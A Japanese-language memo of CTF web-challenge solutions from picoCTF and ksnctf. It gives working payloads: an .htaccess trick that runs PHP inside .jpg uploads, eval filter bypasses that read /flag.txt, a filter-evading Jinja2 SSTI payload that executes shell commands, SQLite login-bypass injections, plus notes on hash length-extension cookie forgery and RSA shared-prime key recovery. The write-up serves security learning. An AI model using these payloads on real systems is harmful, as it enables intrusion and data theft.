memo: Web

picoCTF – byp4ss3d

AddType application/x-httpd-php .jpg

を含んだ .htaccess をアップすることで .jpg ファイルに記述された php が動作するようになる。

picoCTF – 3v@l

タイトルで推測できるが eval のフィルターバイパス問題。

最終的には以下コマンド実行結果を表示させたい。

open('/flag.txt').read()

base64 でバイパスしてみる。指定すべき文字列を確認。

$ echo -n '/flag.txt' | base64
L2ZsYWcudHh0

以下を入力ボックスに入力。

open(__import__('base64').b64decode('L2ZsYWcudHh0').decode()).read()

別解。/ と . だけ chr で指定して、他は文字を分断して対応。

open(chr(47)+"fl"+"ag"+chr(46)+"tx"+"t").read()

picoCTF – SSTI 2

Web アプリ側で実装されたフィルターを搔い潜って SSTI 攻撃を成立させる。

最終的には以下のように SSTI 攻撃による Linux コマンド実行結果を表示させたい。

{{request.application.__globals__['__builtins__'].__import__('os').popen('ls').read()}}

. (dot) や _ (under score) や ” (double quotation) がフィルタされている。

そこで . のようなプロパティ呼び出しや辞書キー呼び出し、_ の代替を考える。結果。

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()}}

__globals__ や __builtins__ や __import__ は実際は実行環境 (通常のスクリプトか exec , jinja2 等の埋め込み環境か、等) によって辞書だったりオブジェクトプロパティだったりするため __getitem__ を手探りで使う感じか。

picoCTF – Web Gauntlet 2

AND password= を文字列として処理させる。

Username: ad'||'min' group by 
Password: '

この結果、

SELECT username, password FROM users WHERE username='ad'||'min' group by' AND password='''

という処理がされる。結果として1行でもエントリがあれば認証成功なので group by は何でもよい。(少なくとも SQLite では)

picoCTF – Web Gauntlet 3

25 文字以内。SQLite で使える GLOB で以下のような WHERE 句を作る。

WHERE password = '' GLOB '*'

処理の順序としては password = ” により FALSE と判定されるが続く GLOB ‘*’ により FALSE は文字列 ‘0’ にキャストされ ‘0’ GLOB ‘*’ により TRUE 判定となる。

Username: ad'||'min
Password: ' GLOB '*

ksnctf – KanGacha

0 から 10 の戦艦の名前に 0 から 10 のインデックスが割り振られており、乱数に応じたインデックスの戦艦名を返すが 10 は出ないようになっている。

空の POST を送るとクッキーの ship にインデックスのリストがカンマ区切りで返ってくる。併せてそのリストの SSHA-512 が signature として含まれており salt は不明。

クッキーを偽装して 10 が含まれるカンマ区切りの ship を送信し、それに併せた signature を作成するのが方針。ハッシュの伸長攻撃 (Length Extension Attack) ができる HashPump を使う。

ポイントは ship に 10 を追加する際、最初のインデックスの後は \00 を URL encode で %00 にして Null Padding で埋めた後、%2C10 と拡張させること。

ksnctf – HTTPS is secure

Hint: Two certificates are similar. が指すのが、RSA の公開鍵 (Public Exponents) n = p * q の片方の素数が同じだということを暗示している。なのでユークリッド互除法で q をはじき、p を計算し秘密鍵を抽出する。